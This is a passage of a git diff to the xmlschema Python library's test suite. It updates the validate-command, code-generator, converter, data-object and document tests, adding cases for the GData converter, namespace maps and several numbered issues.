self.assertEqual("vehicles-2_errors.xml is not valid\n", mock_out.getvalue()) + self.assertEqual(mock_out.getvalue(), '') + self.assertEqual("vehicles-2_errors.xml is not valid\n", mock_err.getvalue()) self.assertEqual('2', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_04(self, mock_out, mock_err): self.run_validate('unknown.xml') - self.assertEqual(mock_err.getvalue(), '') - output = mock_out.getvalue() + self.assertEqual(mock_out.getvalue(), '') + stderr = mock_err.getvalue() if platform.system() == 'Windows': - self.assertIn("The system cannot find the file specified", output) + self.assertIn("The system cannot find the file specified", stderr) else: - self.assertIn("No such file or directory", output) + self.assertIn("No such file or directory", stderr) self.assertEqual('1', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_05(self, mock_out, mock_err): self.run_validate(*glob.glob('vehicles*.xml')) - self.assertEqual(mock_err.getvalue(), '') - output = mock_out.getvalue() - self.assertIn("vehicles.xml is valid", output) - self.assertIn("vehicles-3_errors.xml is not valid", output) - self.assertIn("vehicles-1_error.xml is not valid", output) - self.assertIn("vehicles2.xml is valid", output) - self.assertIn("vehicles-2_errors.xml is not valid", output) + stderr = mock_err.getvalue() + stdout = mock_out.getvalue() + self.assertIn("vehicles.xml is valid", stdout) + self.assertIn("vehicles-3_errors.xml is not valid", stderr) + self.assertIn("vehicles-1_error.xml is not valid", stderr) + self.assertIn("vehicles2.xml is valid", stdout) + self.assertIn("vehicles-2_errors.xml is not valid", stderr) self.assertEqual('6', str(self.ctx.exception)) @patch('sys.stderr', new_callable=io.StringIO) diff --git a/tests/test_codegen.py b/tests/test_codegen.py index 9f45cc1..ad278cd 100644 --- a/tests/test_codegen.py +++ b/tests/test_codegen.py @@ -84,9 +84,10 @@ def casepath(relative_path): XSD_TEST = """\ + @@ -112,7 +113,7 @@ def casepath(relative_path): - + @@ -127,6 +128,13 @@ class TestAbstractGenerator(unittest.TestCase): schema_class = XMLSchema10 generator_class = DemoGenerator + schema: XMLSchema10 + searchpath: Path + col_dir: str + col_xsd_file: str + col_xml_file: str + col_schema: XMLSchema10 + @classmethod def setUpClass(cls): cls.schema = cls.schema_class(XSD_TEST) @@ -181,11 +189,11 @@ def test_schema_argument(self): self.assertIs(generator.schema, self.schema) self.assertIsInstance(generator._env, jinja2.Environment) - self.assertEqual(repr(generator), "{}(namespace={!r})".format(class_name, namespace)) + self.assertEqual(repr(generator), f"{class_name}(namespace={namespace!r})") generator = self.generator_class(self.col_xsd_file) self.assertIsInstance(generator.schema, XMLSchema11) - self.assertEqual(repr(generator), "{}(schema='collection.xsd')".format(class_name)) + self.assertEqual(repr(generator), f"{class_name}(schema='collection.xsd')") def test_searchpath_argument(self): class DemoGenerator2(AbstractGenerator): @@ -231,8 +239,8 @@ def test_list_templates(self): template_dir = Path(__file__).parent.joinpath('templates') language = self.generator_class.formal_language.lower() - templates = set(x.name for x in template_dir.glob('{}/*'.format(language))) - templates.update(x.name for x in template_dir.glob('filters/*'.format(language))) + templates = {x.name for x in template_dir.glob(f'{language}/*')} + templates.update(x.name for x in template_dir.glob('filters/*')) self.assertSetEqual(set(self.generator.list_templates()), templates) def test_matching_templates(self): @@ -500,7 +508,7 @@ def test_sort_types_filter(self): - + @@ -529,7 +537,7 @@ def test_is_derivation(self): self.assertFalse(self.generator.extension(self.schema.types['type1'])) self.assertFalse(self.generator.extension(self.schema.types['type1'], 'tns:type1')) self.assertFalse(self.generator.restriction(self.schema.types['type1'], 'tns:type1')) - self.assertFalse(self.generator.derivation(self.schema.types['type1'], 'type1')) + self.assertTrue(self.generator.derivation(self.schema.types['type1'], 'type1')) self.assertFalse(self.generator.restriction(self.schema.types['type6'], 'xs:decimal')) self.assertFalse(self.generator.restriction(self.schema.types['type6'], None)) self.assertFalse(self.generator.derivation(self.schema.types['type1'], 'tns0:type1')) @@ -537,6 +545,14 @@ def test_is_derivation(self): self.assertTrue(self.generator.derivation(self.schema.types['type1'], 'tns:type1')) self.assertTrue(self.generator.restriction(self.schema.types['type6'], 'xs:float')) + self.assertFalse(self.generator.is_derived( + self.schema.types['type1'], '{http://xmlschema.test/ns}foo' + )) + self.assertFalse(self.generator.is_derived( + self.schema.types['type1'], '{http://xmlschema.test/ns}bar' + )) + self.assertFalse(self.generator.is_derived(self.schema.types['type1'], 'bar', 'foo')) + def test_multi_sequence(self): self.assertFalse(self.generator.multi_sequence(self.schema.types['type3'])) self.assertTrue(self.generator.multi_sequence(self.schema.types['type2'])) @@ -572,10 +588,9 @@ def test_language_type_filter(self): def test_list_templates(self): template_dir = Path(__file__).parent.joinpath('templates') - language = self.generator_class.formal_language.lower() templates = {'sample.py.jinja', 'bindings.py.jinja'} - templates.update(x.name for x in template_dir.glob('filters/*'.format(language))) + templates.update(x.name for x in template_dir.glob('filters/*')) self.assertSetEqual(set(self.generator.list_templates()), templates) def test_sample_module(self): diff --git a/tests/test_converters.py b/tests/test_converters.py index 5a47364..dfefb35 100644 --- a/tests/test_converters.py +++ b/tests/test_converters.py @@ -9,32 +9,42 @@ # @author Davide Brunato # import unittest -import xml.etree.ElementTree as ElementTree from pathlib import Path +from typing import cast, MutableMapping, Optional, Type +from xml.etree.ElementTree import Element, parse as etree_parse try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None +from elementpath.etree import etree_tostring + from xmlschema import XMLSchema, XMLSchemaValidationError, fetch_namespaces -from xmlschema.etree import etree_element from xmlschema.dataobjects import DataElement from xmlschema.testing import etree_elements_assert_equal from xmlschema.converters import XMLSchemaConverter, UnorderedConverter, \ ParkerConverter, BadgerFishConverter, AbderaConverter, JsonMLConverter, \ - ColumnarConverter + ColumnarConverter, GDataConverter from xmlschema.dataobjects import DataElementConverter class TestConverters(unittest.TestCase): + col_xsd_filename: str + col_xml_filename: str + col_nsmap: MutableMapping[str, str] + col_lxml_root: Optional['lxml_etree.ElementTree'] + + col_xsd_filename: str + col_xml_filename: str + col_nsmap: dict @classmethod def setUpClass(cls): cls.col_xsd_filename = cls.casepath('examples/collection/collection.xsd') cls.col_xml_filename = cls.casepath('examples/collection/collection.xml') - cls.col_xml_root = ElementTree.parse(cls.col_xml_filename).getroot() + cls.col_xml_root = etree_parse(cls.col_xml_filename).getroot() cls.col_nsmap = fetch_namespaces(cls.col_xml_filename) cls.col_namespace = cls.col_nsmap['col'] @@ -43,19 +53,24 @@ def setUpClass(cls): else: cls.col_lxml_root = None + cls.vh_xsd_filename = cls.casepath('examples/vehicles/vehicles.xsd') + cls.vh_xml_filename = cls.casepath('examples/vehicles/vehicles.xml') + @classmethod def casepath(cls, relative_path): return str(Path(__file__).parent.joinpath('test_cases', relative_path)) def test_element_class_argument(self): converter = XMLSchemaConverter() - self.assertIs(converter.etree_element_class, etree_element) + self.assertIs(converter.etree_element_class, Element) - converter = XMLSchemaConverter(etree_element_class=etree_element) - self.assertIs(converter.etree_element_class, etree_element) + converter = XMLSchemaConverter(etree_element_class=Element) + self.assertIs(converter.etree_element_class, Element) if lxml_etree is not None: - converter = XMLSchemaConverter(etree_element_class=lxml_etree.Element) + converter = XMLSchemaConverter( + etree_element_class=cast(Type[Element], lxml_etree.Element) + ) self.assertIs(converter.etree_element_class, lxml_etree.Element) def test_prefix_arguments(self): @@ -84,6 +99,38 @@ def test_strip_namespace_argument(self): self.assertIn('@xmlns:', str(col_schema.decode(col_xml_filename, strip_namespaces=False))) self.assertNotIn('@xmlns:', str(col_schema.decode(col_xml_filename))) + def test_arguments_with_wrong_types(self): + + with self.assertRaises(TypeError) as ctx: + XMLSchemaConverter(cdata_prefix=1) + self.assertTrue(str(ctx.exception).startswith( + "'cdata_prefix' must be a instance or None") + ) + + with self.assertRaises(TypeError) as ctx: + XMLSchemaConverter(preserve_root=1) + self.assertTrue(str(ctx.exception).startswith( + "'preserve_root' must be a instance") + ) + + with self.assertRaises(TypeError) as ctx: + XMLSchemaConverter(indent='no') + self.assertTrue(str(ctx.exception).startswith( + "'indent' must be a instance") + ) + + with self.assertRaises(TypeError) as ctx: + XMLSchemaConverter(dict_class=list) + self.assertTrue(str(ctx.exception).startswith( + "'dict_class' must be a MutableMapping object") + ) + + with self.assertRaises(TypeError) as ctx: + XMLSchemaConverter(list_class=dict) + self.assertTrue(str(ctx.exception).startswith( + "'list_class' must be a MutableSequence object") + ) + def test_lossy_property(self): self.assertTrue(XMLSchemaConverter().lossy) self.assertFalse(XMLSchemaConverter(cdata_prefix='#').lossy) @@ -98,7 +145,7 @@ def test_cdata_mapping(self): - + """) self.assertEqual( @@ -111,7 +158,7 @@ def test_cdata_mapping(self): def test_preserve_root__issue_215(self): schema = XMLSchema(""" - @@ -122,8 +169,7 @@ def test_preserve_root__issue_215(self): - - """) + """) xml_data = """""" @@ -147,10 +193,10 @@ def test_preserve_root__issue_215(self): def test_etree_element_method(self): converter = XMLSchemaConverter() elem = converter.etree_element('A') - self.assertIsNone(etree_elements_assert_equal(elem, etree_element('A'))) + self.assertIsNone(etree_elements_assert_equal(elem, Element('A'))) elem = converter.etree_element('A', attrib={}) - self.assertIsNone(etree_elements_assert_equal(elem, etree_element('A'))) + self.assertIsNone(etree_elements_assert_equal(elem, Element('A'))) def test_columnar_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=ColumnarConverter) @@ -262,6 +308,24 @@ def test_decode_encode_default_converter_with_preserve_root(self): root = col_schema.encode(obj2, preserve_root=True) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) + @unittest.skipIf(lxml_etree is None, 'lxml is not available') + def test_decode_encode_default_converter_with_lxml(self): + vh_schema = XMLSchema(self.vh_xsd_filename) + vh_lxml_root = lxml_etree.parse(self.vh_xml_filename).getroot() + etree_element_class = cast(Type[Element], lxml_etree.Element) + + # Decode from XML file + obj1 = vh_schema.decode(vh_lxml_root, process_namespaces=False) + self.assertNotIn("'@xmlns:vh'", repr(obj1)) + + obj1 = vh_schema.decode(vh_lxml_root) + self.assertIn("'@xmlns:vh'", repr(obj1)) + + root = vh_schema.encode(obj1, etree_element_class=etree_element_class) + self.assertIsNone( + etree_elements_assert_equal(vh_lxml_root, root, strict=False, check_nsmap=True) + ) + def test_decode_encode_unordered_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=UnorderedConverter) @@ -347,7 +411,7 @@ def test_decode_encode_parker_converter(self): col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIn("missing required attribute 'id'", str(ec.exception)) - def test_decode_encode_badger_fish_converter(self): + def test_decode_encode_badgerfish_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=BadgerFishConverter) obj1 = col_schema.decode(self.col_xml_filename) @@ -375,6 +439,34 @@ def test_decode_encode_badger_fish_converter(self): root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) + def test_decode_encode_gdata_converter(self): + col_schema = XMLSchema(self.col_xsd_filename, converter=GDataConverter) + + obj1 = col_schema.decode(self.col_xml_filename) + self.assertIn("'xmlns$col'", repr(obj1)) + + root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) + self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) + + root = col_schema.encode(obj1) + self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) + + # With ElementTree namespaces are not mapped + obj2 = col_schema.decode(self.col_xml_root) + self.assertNotIn("'@xmlns'", repr(obj2)) + self.assertNotEqual(obj1, obj2) + self.assertEqual(obj1, col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap)) + + # With lxml.etree namespaces are mapped + if self.col_lxml_root is not None: + self.assertEqual(obj1, col_schema.decode(self.col_lxml_root)) + + root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) + self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) + + root = col_schema.encode(obj2) # No namespace unmap is required + self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) + def test_decode_encode_abdera_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=AbderaConverter) @@ -502,9 +594,116 @@ def test_decode_encode_data_element_converter(self): root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) + def test_decode_encode_with_default_namespace(self): + # Using default namespace and qualified form for elements + qualified_col_xsd = self.casepath('examples/collection/collection5.xsd') + col_schema = XMLSchema(qualified_col_xsd, converter=BadgerFishConverter) + + default_xml_filename = self.casepath('examples/collection/collection-default.xml') + obj1 = col_schema.decode(default_xml_filename) + assert isinstance(obj1, dict) + self.assertIn('@xmlns', obj1['collection']) + self.assertEqual(repr(obj1).count("'@xmlns'"), 1) + self.assertEqual( + obj1['collection']['@xmlns'], + {'$': 'http://example.com/ns/collection', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} + ) + + root = col_schema.encode(obj1) + default_xml_root = etree_parse(default_xml_filename).getroot() + self.assertIsNone(etree_elements_assert_equal(default_xml_root, root, strict=False)) + + def test_simple_content__issue_315(self): + schema = XMLSchema(self.casepath('issues/issue_315/issue_315_simple.xsd')) + converters = ( + XMLSchemaConverter, XMLSchemaConverter(preserve_root=True), + BadgerFishConverter, AbderaConverter, JsonMLConverter, + UnorderedConverter, ColumnarConverter, DataElementConverter + ) + + for k in range(1, 6): + xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') + if k < 3: + self.assertIsNone(schema.validate(xml_filename), xml_filename) + else: + self.assertFalse(schema.is_valid(xml_filename), xml_filename) + + for k in (1, 2): + xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') + xml_tree = etree_parse(xml_filename).getroot() + for converter in converters: + obj = schema.decode(xml_filename, converter=converter) + root = schema.encode(obj, converter=converter) + self.assertIsNone(etree_elements_assert_equal(xml_tree, root)) + + def test_mixed_content__issue_315(self): + schema = XMLSchema(self.casepath('issues/issue_315/issue_315_mixed.xsd')) + losslessly_converters = (JsonMLConverter, DataElementConverter) + default_converters = ( + XMLSchemaConverter(cdata_prefix='#'), + UnorderedConverter(cdata_prefix='#'), # BadgerFishConverter, ColumnarConverter, + ) + + for k in range(1, 6): + xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') + self.assertIsNone(schema.validate(xml_filename), xml_filename) + + for k in range(1, 6): + xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') + xml_tree = etree_parse(xml_filename).getroot() + for converter in losslessly_converters: + obj = schema.decode(xml_filename, converter=converter) + root = schema.encode(obj, converter=converter) + self.assertIsNone(etree_elements_assert_equal(xml_tree, root, strict=False)) + + for k in range(1, 6): + xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') + xml_tree = etree_parse(xml_filename).getroot() + for converter in default_converters: + obj = schema.decode(xml_filename, converter=converter) + root = schema.encode(obj, converter=converter, indent=0) + if k < 4: + self.assertIsNone(etree_elements_assert_equal(xml_tree, root, strict=False)) + continue + + if k == 4: + self.assertEqual(obj, {'@xmlns:tst': 'http://xmlschema.test/ns', + '@a1': 'foo', 'e2': [None, None], '#1': 'bar'}) + self.assertEqual(len(root), 2) + else: + self.assertEqual(obj, {'@xmlns:tst': 'http://xmlschema.test/ns', + '@a1': 'foo', 'e2': [None], '#1': 'bar'}) + self.assertEqual(len(root), 1) + + text = etree_tostring(root, namespaces={'tst': 'http://xmlschema.test/ns'}) + self.assertEqual(len(text.split('bar')), 2) + + for k in range(1, 6): + xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') + xml_tree = etree_parse(xml_filename).getroot() + obj = schema.decode(xml_filename, converter=BadgerFishConverter) + root = schema.encode(obj, converter=BadgerFishConverter, indent=0) + if k < 4: + self.assertIsNone(etree_elements_assert_equal(xml_tree, root, strict=False)) + continue + + if k == 4: + self.assertEqual(obj, {'tst:e1': {'@a1': 'foo', + '@xmlns': {'tst': 'http://xmlschema.test/ns'}, + 'e2': [{}, {}], '$1': 'bar'}}) + else: + self.assertEqual(obj, {'tst:e1': {'@a1': 'foo', + '@xmlns': {'tst': 'http://xmlschema.test/ns'}, + 'e2': [{}], '$1': 'bar'}}) + + text = etree_tostring(root, namespaces={'tst': 'http://xmlschema.test/ns'}) + self.assertEqual(len(text.split('bar')), 2) + if __name__ == '__main__': import platform + header_template = "Test xmlschema converters with Python {} on {}" header = header_template.format(platform.python_version(), platform.platform()) print('{0}\n{1}\n{0}'.format("*" * len(header), header)) diff --git a/tests/test_dataobjects.py b/tests/test_dataobjects.py index a888f77..fba034e 100644 --- a/tests/test_dataobjects.py +++ b/tests/test_dataobjects.py @@ -11,11 +11,15 @@ import unittest import xml.etree.ElementTree as ElementTree from pathlib import Path +from typing import Dict from xmlschema import XMLSchema10, XMLSchema11, fetch_namespaces, etree_tostring, \ - XMLSchemaValidationError, DataElement, DataElementConverter, XMLResource + XMLSchemaValidationError, DataElement, DataElementConverter, XMLResource, \ + XsdElement, XsdAttribute, XsdType +from xmlschema.validators import XsdAttributeGroup from xmlschema.helpers import is_etree_element +from xmlschema.names import XSI_TYPE from xmlschema.dataobjects import DataBindingMeta, DataBindingConverter from xmlschema.testing import etree_elements_assert_equal @@ -43,10 +47,29 @@ def test_attributes(self): self.assertIsNone(data_element.get('a')) self.assertEqual(data_element.get('b'), 9) - def test_namespaces(self): + def test_nsmap(self): self.assertEqual(DataElement('foo').nsmap, {}) nsmap = {'tns': 'http://xmlschema.test/ns'} self.assertEqual(DataElement('foo', nsmap=nsmap).nsmap, nsmap) + self.assertIsNot(DataElement('foo', nsmap=nsmap).nsmap, nsmap) + + def test_attributes_with_namespaces(self): + nsmap = {'tns': 'http://xmlschema.test/ns'} + attrib = {'tns:a': 10, '{http://xmlschema.test/ns}b': 'bar'} + element = DataElement('foo', attrib=attrib, nsmap=nsmap) + + self.assertEqual(element.get('tns:a'), 10) + self.assertEqual(element.get('{http://xmlschema.test/ns}a'), 10) + + self.assertEqual(element.get('{http://xmlschema.test/ns}b'), 'bar') + self.assertEqual(element.get('tns:b'), 'bar') + self.assertIsNone(element.get('tns:c')) + + self.assertIsNone(element.get('tns:b:c')) + self.assertIsNone(element.get('tns0:b')) + + self.assertIsNone(element.set('tns:c', 8)) + self.assertEqual(element.get('tns:c'), 8) def test_text_value(self): self.assertIsNone(DataElement('foo').text) @@ -60,6 +83,10 @@ class TestDataObjects(unittest.TestCase): schema_class = XMLSchema10 converter = DataElementConverter + col_xsd_filename: str + col_xml_filename: str + col_nsmap: Dict[str, str] + @classmethod def setUpClass(cls): cls.col_xsd_filename = cls.casepath('examples/collection/collection.xsd') @@ -196,6 +223,52 @@ def test_schema_bindings(self): col_data.xsd_type = col_data[0].xsd_type self.assertEqual(str(ec.exception), "the instance is already bound to another XSD type") + def test_xmlns_processing_argument(self): + xsd_file = self.casepath('examples/collection/collection5.xsd') + xml_file = self.casepath('examples/collection/collection-redef-xmlns.xml') + + xmlns0 = [('col1', 'http://example.com/ns/collection'), + ('col', 'http://xmlschema.test/ns'), + ('', 'http://xmlschema.test/ns'), + ('xsi', 'http://www.w3.org/2001/XMLSchema-instance')] + nsmap0 = dict(xmlns0) + xmlns1 = [('col', 'http://example.com/ns/collection')] + nsmap1 = dict(xmlns0) + nsmap1.update(xmlns1) + schema = self.schema_class(xsd_file) + self.assertTrue(schema.is_valid(xml_file)) + + resource = XMLResource(xml_file) + obj = schema.decode(resource, converter=self.converter) + self.assertListEqual(obj.xmlns, xmlns0) + self.assertDictEqual(obj.nsmap, nsmap0) + self.assertListEqual(obj[0].xmlns, xmlns1) + self.assertDictEqual(obj[0].nsmap, nsmap1) + root = schema.encode(obj, converter=self.converter) + self.assertTrue(is_etree_element(root)) + + obj = schema.decode(resource, converter=self.converter, xmlns_processing='stacked') + self.assertListEqual(obj.xmlns, xmlns0) + self.assertDictEqual(obj.nsmap, nsmap0) + self.assertListEqual(obj[0].xmlns, xmlns1) + self.assertDictEqual(obj[0].nsmap, nsmap1) + root = schema.encode(obj, converter=self.converter, xmlns_processing='stacked') + self.assertTrue(is_etree_element(root)) + + obj = schema.decode(resource, converter=self.converter, xmlns_processing='collapsed') + root = schema.encode(obj, converter=self.converter, xmlns_processing='collapsed') + self.assertTrue(is_etree_element(root)) + + obj = schema.decode(resource, converter=self.converter, xmlns_processing='root-only') + root = schema.encode(obj, converter=self.converter, xmlns_processing='root-only') + self.assertTrue(is_etree_element(root)) + + obj = schema.decode(resource, converter=self.converter, xmlns_processing='none') + root = schema.encode(obj, converter=self.converter, xmlns_processing='none') + self.assertTrue(is_etree_element(root)) + for data_element in obj.iter(): + self.assertDictEqual(data_element.nsmap, {}) + def test_encode_to_element_tree(self): col_data = self.col_schema.decode(self.col_xml_filename) @@ -241,12 +314,72 @@ def test_encode_to_element_tree(self): self.assertIsInstance(etree_tostring(obj), str) self.assertIsNone(etree_elements_assert_equal(obj, root, strict=False)) + def test_collapsed_namespace_map(self): + col_data = self.col_schema.decode(self.col_xml_filename) + + namespaces = col_data.get_namespaces() + self.assertDictEqual( + namespaces, + {'col': 'http://example.com/ns/collection', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} + ) + + namespaces = col_data.get_namespaces({'': 'http://xmlschema.test/ns'}) + self.assertDictEqual( + namespaces, + {'': 'http://xmlschema.test/ns', + 'col': 'http://example.com/ns/collection', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} + ) + + namespaces = col_data.get_namespaces({'tns': 'http://xmlschema.test/ns'}) + self.assertDictEqual( + namespaces, + {'tns': 'http://xmlschema.test/ns', + 'col': 'http://example.com/ns/collection', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} + ) + + namespaces = col_data.get_namespaces({'xsi': 'http://xmlschema.test/ns'}) + self.assertDictEqual( + namespaces, + {'xsi': 'http://xmlschema.test/ns', + 'col': 'http://example.com/ns/collection', + 'xsi0': 'http://www.w3.org/2001/XMLSchema-instance'} + ) + + xsd_filename = self.casepath('examples/collection/collection5.xsd') + col_schema = self.schema_class(xsd_filename, converter=self.converter) + xml_filename = self.casepath('examples/collection/collection-default.xml') + col_data = col_schema.decode(xml_filename) + + namespaces = col_data.get_namespaces() + self.assertDictEqual( + namespaces, + {'': 'http://example.com/ns/collection', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} + ) + + namespaces = col_data.get_namespaces({'': 'http://xmlschema.test/ns'}) + self.assertDictEqual( + namespaces, + {'': 'http://xmlschema.test/ns', + 'default': 'http://example.com/ns/collection', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} + ) + def test_serialize_to_xml_source(self): col_data = self.col_schema.decode(self.col_xml_filename) - xml_source = col_data.tostring() - self.assertTrue(xml_source.startswith('')) + with Path(self.col_xml_filename).open() as fp: + _ = fp.read() + + result = col_data.tostring() + self.assertTrue(result.startswith('')) + + result = col_data.tostring(xml_declaration=True) + self.assertTrue(self.col_schema.is_valid(result)) def test_validation(self): with self.assertRaises(ValueError) as ec: @@ -351,6 +484,79 @@ class MyDataElement(DataElement): converter.element_encode(col_data, col_data[0].xsd_element) self.assertEqual("Unmatched tag", str(ec.exception)) + def test_decoded_names__issue_314(self): + xsd_file = self.casepath('issues/issue_314/issue_314.xsd') + xml_file = self.casepath('issues/issue_314/issue_314.xml') + schema = self.schema_class(xsd_file) + + data_element = schema.to_objects(xml_file, process_namespaces=True) + self.assertEqual(data_element.prefixed_name, 'p:root-element') + self.assertEqual(data_element[0].prefixed_name, 'p:container') + self.assertEqual(data_element[0][0].prefixed_name, 'p:item') + self.assertEqual( + data_element[0][0].attrib, + {'b:type': 'p:ConcreteContainterItemInfo', 'attr_2': 'value_2'} + ) + self.assertEqual(data_element[0][0].get(XSI_TYPE), 'p:ConcreteContainterItemInfo') + self.assertEqual(data_element[0][0].get('b:type'), 'p:ConcreteContainterItemInfo') + self.assertIsNone(data_element[0][0].get('xsi:type')) + + data_element = schema.to_objects(xml_file, process_namespaces=False) + self.assertEqual(data_element.prefixed_name, '{my_namespace}root-element') + self.assertEqual(data_element[0].prefixed_name, '{my_namespace}container') + self.assertEqual(data_element[0][0].prefixed_name, '{my_namespace}item') + self.assertEqual( + data_element[0][0].attrib, + {f'{XSI_TYPE}': 'p:ConcreteContainterItemInfo', 'attr_2': 'value_2'} + ) + self.assertEqual(data_element[0][0].get(XSI_TYPE), 'p:ConcreteContainterItemInfo') + self.assertIsNone(data_element[0][0].get('b:type')) + self.assertIsNone(data_element[0][0].get('xsi:type')) + + # For adding namespaces after decoding replace or update nsmap of each element + namespaces = {'p': 'my_namespace', 'xsi': "http://www.w3.org/2001/XMLSchema-instance"} + for e in data_element.iter(): + e.nsmap = namespaces + + self.assertEqual(data_element.prefixed_name, 'p:root-element') + self.assertEqual(data_element[0].prefixed_name, 'p:container') + self.assertEqual(data_element[0][0].prefixed_name, 'p:item') + self.assertEqual(data_element[0][0].get(XSI_TYPE), 'p:ConcreteContainterItemInfo') + self.assertIsNone(data_element[0][0].get('b:type')) + self.assertEqual(data_element[0][0].get('xsi:type'), 'p:ConcreteContainterItemInfo') + + def test_map_attribute_names__issue_314(self): + xsd_file = self.casepath('issues/issue_314/issue_314.xsd') + xml_file = self.casepath('issues/issue_314/issue_314.xml') + schema = self.schema_class(xsd_file) + + data_element = schema.to_objects(xml_file, map_attribute_names=False) + self.assertEqual(data_element.prefixed_name, 'p:root-element') + self.assertEqual(data_element[0].prefixed_name, 'p:container') + self.assertEqual(data_element[0][0].prefixed_name, 'p:item') + self.assertEqual( + data_element[0][0].attrib, + {f'{XSI_TYPE}': 'p:ConcreteContainterItemInfo', 'attr_2': 'value_2'} + ) + self.assertEqual(data_element[0][0].get(XSI_TYPE), 'p:ConcreteContainterItemInfo') + self.assertEqual(data_element[0][0].get('b:type'), 'p:ConcreteContainterItemInfo') + self.assertIsNone(data_element[0][0].get('xsi:type')) + + def test_xsd_attribute_access__issue_331(self): + col_data = self.col_schema.decode(self.col_xml_filename) + self.assertIsInstance(col_data[0].xsd_element, XsdElement) + self.assertEqual(col_data[0].xsd_element.name, 'object') + self.assertIsInstance( + col_data[0].xsd_element.attributes, XsdAttributeGroup + ) + xsd_attribute = col_data[0].xsd_element.attributes.get('id') + self.assertIsInstance(xsd_attribute, XsdAttribute) + + xsd_attribute = col_data[0].xsd_element.find('@id') + self.assertIsInstance(xsd_attribute, XsdAttribute) + self.assertIsInstance(xsd_attribute.type, XsdType) + self.assertIsNone(col_data[0].xsd_element.find('@unknown')) + class TestDataBindings(TestDataObjects): @@ -387,6 +593,10 @@ def test_element_binding(self): self.assertTrue(issubclass(xsd_element.binding, DataElement)) self.assertIsInstance(xsd_element.binding, DataBindingMeta) self.assertIs(binding_class, xsd_element.binding) + + # regression tests for issue 300 + self.assertIs(binding_class, xsd_element.get_binding()) + self.assertIsNot(binding_class, xsd_element.get_binding(replace_existing=True)) finally: xsd_element.binding = None diff --git a/tests/test_documents.py b/tests/test_documents.py index d4bc054..f1c13a7 100644 --- a/tests/test_documents.py +++ b/tests/test_documents.py @@ -16,6 +16,8 @@ import pathlib import tempfile from decimal import Decimal +from textwrap import dedent +from xml.etree import ElementTree try: import lxml.etree as lxml_etree @@ -24,13 +26,14 @@ from xmlschema import XMLSchema10, XMLSchema11, XmlDocument, \ XMLResourceError, XMLSchemaValidationError, XMLSchemaDecodeError, \ - to_json, from_json + to_json, from_json, validate, XMLSchemaParseError, is_valid, to_dict, \ + to_etree, JsonMLConverter -from xmlschema.etree import ElementTree -from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE +from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE, XSD_SCHEMA from xmlschema.helpers import is_etree_element, is_etree_document from xmlschema.resources import XMLResource from xmlschema.documents import get_context +from xmlschema.testing import etree_elements_assert_equal, SKIP_REMOTE_TESTS TEST_CASES_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'test_cases/') @@ -73,19 +76,71 @@ def test_to_json_api(self): self.assertEqual(len(errors), 0) self.assertIn('"object": [null, null]', json_data) + def test_to_etree_api(self): + data = to_dict(self.col_xml_file) + root_tag = '{http://example.com/ns/collection}collection' + + with self.assertRaises(TypeError) as ctx: + to_etree(data) + self.assertIn("a path is required for building a dummy schema", str(ctx.exception)) + + collection = to_etree(data, schema=self.col_xsd_file) + self.assertEqual(collection.tag, root_tag) + + col_schema = XMLSchema10(self.col_xsd_file) + collection = to_etree(data, schema=col_schema) + self.assertEqual(collection.tag, root_tag) + + collection = to_etree(data, path=root_tag) + self.assertEqual(collection.tag, root_tag) + + @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible") + def test_to_etree_api_on_schema__issue_325(self): + col_root = ElementTree.parse(self.col_xsd_file).getroot() + kwargs = dict(use_defaults=False, converter=JsonMLConverter) + data = to_dict(self.col_xsd_file, **kwargs) + + with self.assertRaises(TypeError) as ctx: + to_etree(data) + self.assertIn("a path is required for building a dummy schema", str(ctx.exception)) + + collection_xsd = to_etree(data, schema=XMLSchema10.meta_schema.url, **kwargs) + self.assertEqual(collection_xsd.tag, XSD_SCHEMA) + self.assertIsNone(etree_elements_assert_equal(collection_xsd, col_root, strict=False)) + + collection_xsd = to_etree(data, path=XSD_SCHEMA, **kwargs) + self.assertIsNone(etree_elements_assert_equal(collection_xsd, col_root, strict=False)) + + # automatically map xs/xsd prefixes and use meta-schema + collection_xsd = to_etree(data, path='xs:schema', **kwargs) + self.assertIsNone(etree_elements_assert_equal(collection_xsd, col_root, strict=False)) + + with self.assertRaises(TypeError) as ctx: + to_etree(data, path='xs:schema', namespaces={}, **kwargs) + self.assertIn("the path must be mappable to a local or extended name", + 